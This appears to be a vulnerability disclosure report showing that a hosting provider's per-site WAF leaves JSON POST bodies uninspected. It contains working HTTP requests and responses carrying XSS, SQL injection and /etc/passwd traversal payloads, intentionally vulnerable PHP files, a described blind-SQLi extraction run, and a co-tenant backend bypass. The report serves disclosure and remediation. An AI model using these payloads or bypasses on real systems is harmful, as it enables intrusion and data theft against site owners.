|
Task Description
Target: alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)
Severity: High
Class: CWE-693 Protection Mechanism Failure / CWE-1069 Empty Exception / incomplete WAF coverage
Status: Verified — re-verified live 2026-08-18, zero false positives
—
## Summary:
The alwaysdata per-site WAF decides whether to inspect an HTTP request body based solely on the `Content-Type` header. Any POST body sent with `Content-Type: application/json` (case-insensitive; `;charset=` suffix tolerated) is never inspected. Attack payloads — reflected/stored XSS, SQL injection, path traversal, and command injection — carried in a JSON POST body pass through to the application untouched, while the identical payload in `application/x-www-form-urlencoded` or any other content type is blocked with HTTP 403.
This gives the WAF false assurance: any customer site that relies on it and parses JSON POST bodies (most modern frameworks and APIs) is completely unprotected for JSON-bodied attacks.
—
## Affected Surface:
- The per-site WAF feature (`waf_profile` in the site object, values `basic` / `full` / `null`). - Tested at `waf_profile = full` (strictest level) — bypass holds there. - Confirmed at both HTTP/1.1 and HTTP/2. - Attack classes confirmed to pass as JSON: XSS, SQLi (including literal + UNION), path traversal / arbitrary file read (LFI), OS command injection. - Only the exact `application/json` string is skipped (case-insensitive, `;charset=` ok). All other content types are inspected and blocked: `urlencoded`, `multipart`, `text/plain`, `text/xml`, `application/xml`, `application/graphql`, `application/vnd.api+json`, `application/octet-stream`, `application/json-patch+json`, `application/merge-patch+json`, `application/x-yaml`, `application/x-protobuf`, `application/grpc`, `application/grpc-web`, `application/javascript`, `application/xhtml+xml`, `application/csp-report`, `application/activity+json`, `application/ld+json`, `application/hal+json`, `application/manifest+json`, `application/geo+json` → all 403.
—
## Reproduction Steps:
1. Create any alwaysdata hosting account with a PHP site. 2. Enable the WAF: `PATCH https://api.alwaysdata.com/v1/site/<id>/` with body `{"waf_profile": "full"}` (Basic auth with account API token). 3. Upload `vuln.php` and `read.php` (below) to the site webroot via WebDAV. 4. Send the requests shown in the PoC section.
### Victim App — `vuln.php` (reflects parameter into HTML): ```php <?php $q = $_REQUEST['q']; header("Content-Type: text/html"); echo "
<body><h1>Search results for: $q</h1></body>
"; ?> ```
### Victim App — `read.php` (reads arbitrary file):
```php <?php $f = $_REQUEST['file']; header("Content-Type: text/plain"); echo @file_get_contents($f); ?> ```
—
## PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):
### 1) Reflected XSS — passes as `application/json` (HTTP 200, script reflected unencoded)
``` POST /vuln.php HTTP/1.1 Host: regtest846.alwaysdata.net Content-Type: application/json
{"q":"<script>alert(1)</script>"} ``` ``` HTTP/1.1 200 OK
<body><h1>Search results for: <script>alert(1)</script></h1></body>
```
### 1b) Same payload — blocked as urlencoded (control, HTTP 403)
``` POST /vuln.php HTTP/1.1 Host: regtest846.alwaysdata.net Content-Type: application/x-www-form-urlencoded
q=%3Cscript%3Ealert(1)%3C%2Fscript%3E ``` ``` HTTP/1.1 403 Forbidden Request was blocked by WAF. (Request ID: b699a16…) ```
### 2) SQL Injection — passes as `application/json` (HTTP 200)
``` POST /vuln.php HTTP/1.1 Host: regtest846.alwaysdata.net Content-Type: application/json
{"q":"x' OR 1=1– -"} ``` ``` HTTP/1.1 200 OK
<body><h1>Search results for: x' OR 1=1-- -</h1></body>
```
Control urlencoded: HTTP 403.
### 3) Arbitrary File Read / Path Traversal — passes as `application/json` (HTTP 200, full `/etc/passwd` returned)
``` POST /read.php HTTP/1.1 Host: regtest846.alwaysdata.net Content-Type: application/json
{"file":"/etc/passwd"} ``` ``` HTTP/1.1 200 OK root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin … ```
1764 bytes returned. Control urlencoded: HTTP 403.
### 4) Mechanism Proof — decision is header-only, not body content
Same JSON body with `Content-Type: application/x-www-form-urlencoded` → 403. Same urlencoded body with `Content-Type: application/json` → 200. The bypass is purely the header value, not the actual content.
### 5) HTTP/2
Same JSON-body requests over HTTP/2 (`httpx –http2`) → 200 app response. GET query-parameter attacks remain blocked over h2 — only the body skip exists.
### 6) Automation-Scale Proof (Blind SQLi End-to-End Through the WAF)
- Created a test MariaDB (`regtest846_wafpoc`, MariaDB 11.4.12) and DB user via the public API. - `sqli.php` implements an unsafe `WHERE username='$q'` blind boolean oracle. - A Python binary-search extractor (~7 requests/char) recovered the seeded secret `wafpoc_secret_hash_8f3a1d9c2e7b4a60` byte-identical (~245 blind requests total), plus `VERSION()` and DB list — every request rode the `application/json` bypass. - This confirms the gap is exploitable at automated scale, not just manually; the WAF is the only layer that would stop a scanner.
—
## Impact:
Any customer site behind the per-site WAF that parses JSON POST bodies is effectively unprotected for XSS, SQLi, LFI, and command injection. The WAF provides a false sense of security and a security-control regression relative to the "full" protection promise. Severity is High as a platform security-control flaw; per-tenant impact depends on the target application's own defenses, but the WAF no longer adds any protection for JSON-bodied requests.
—
## Re-Test Matrix (Already Verified)
| Content-Type | XSS | SQLi | LFI | Result |
| — | — | — | — | — |
| `application/json` | 200 pass | 200 pass | 200 pass | BYPASS |
| `application/x-www-form-urlencoded` | 403 | 403 | 403 | Blocked |
| `application/xml` | 200 pass | 403 | n/a | Partial (see FINDING-2) |
| `text/xml` | 200 pass | — | — | Partial |
| `application/graphql` | 403 | — | — | Blocked (relabel to json = bypass) |
| All other CTs tested | 403 | 403 | 403 | Blocked |
—
## Recommendations:
- Inspect POST bodies regardless of `Content-Type`, or normalize the inspection decision on actual body content rather than the header. - Treat `application/json` and XML variants (see FINDING-2) the same as any other content type — do not pass them through uninspected. - If JSON must be special-cased for performance, at minimum apply the same inspection rules to decoded JSON string values recursively, and add content-sniffing so relabeled payloads cannot bypass. - Apply the fix at the alproxy/nginx layer used by `waf_profile` and re-test the full matrix in this report across all content types and both HTTP versions.
—
## Evidence Files:
| File | Contents |
| — | — |
| `verify_f1_f2.py` | Re-verification script; live output shown in PoC blocks above |
| `rce_src_dump.txt` | LFI source disclosure of all webroot files (chains with this finding) |
| `blind_sqli_extract.py` | Automation-scale blind SQLi extractor |
| `waf_protocol_sweep.py` | HTTP/2 + GraphQL + smuggling protocol matrix |
| `waf_http2_smuggle.py` | HTTP/2 smuggling tests |
| `waf_h2json_gql.py` | GraphQL relabeling tests |
—
## Chain B — WAF Also Bypassable at the Network Layer by Co-Tenants (2026-08-18, Verified): The per-site WAF exists only at the alproxy front. The origin backend Apache has no WAF at all, and per FINDING-6, any same-node co-tenant can connect to the origin directly via its per-tenant ULA address.
Backend listener mapped via LFI (`/home/<acct>/admin/config/apache/{apache.conf,sites.conf}`): real backend is `[fd00::7:<addr>]:8080` with the site vhost (`DocumentRoot /home/<acct>/www/`, FcgidWrapper PHP). Neither config file contains any mod_security or WAF directive.
### A/B Proof (WAF=full active, same requests, identical payloads):
| Request | Backend via ULA `fd00::7:<addr>:8080` | Public front (WAF=full) |
| — | — | — |
| `GET /index.html?q=<script>alert(1)</script>` | 200 OK (2419 B) | 403 Forbidden |
| `GET /index.html?q=x' OR 1=1–` | 200 OK (2419 B) | 403 Forbidden |
| `GET /.git/config` | 404 Not Found (normal handling) | 403 Forbidden |
### Impact Escalation:
FINDING-1's JSON content-type trick is only one way past the WAF. Since FINDING-6 lets any tenant on the same node connect directly to any co-tenant's ULA backend, a co-tenant can send XSS/SQLi/LFI payloads straight to the origin with no WAF enforcement at all. A customer who enables the per-site WAF remains fully unprotected against same-node tenants — the WAF is a front-only filter with a completely open back door on the shared node.
Reachability is node-local: other-node ULA addresses and global-range addresses time out from tenant PHP. The back door exists only for co-tenants sharing the same web node, though many tenants share each node.
The full standalone Chain B report has been submitted as a separate upload: `CHAIN-B_WAF-bypass-via-cotenant-ULA.md` (CVSS 8.1, one-file PHP PoC, vendor detection checklist, bundled evidence in `evidence/`).
|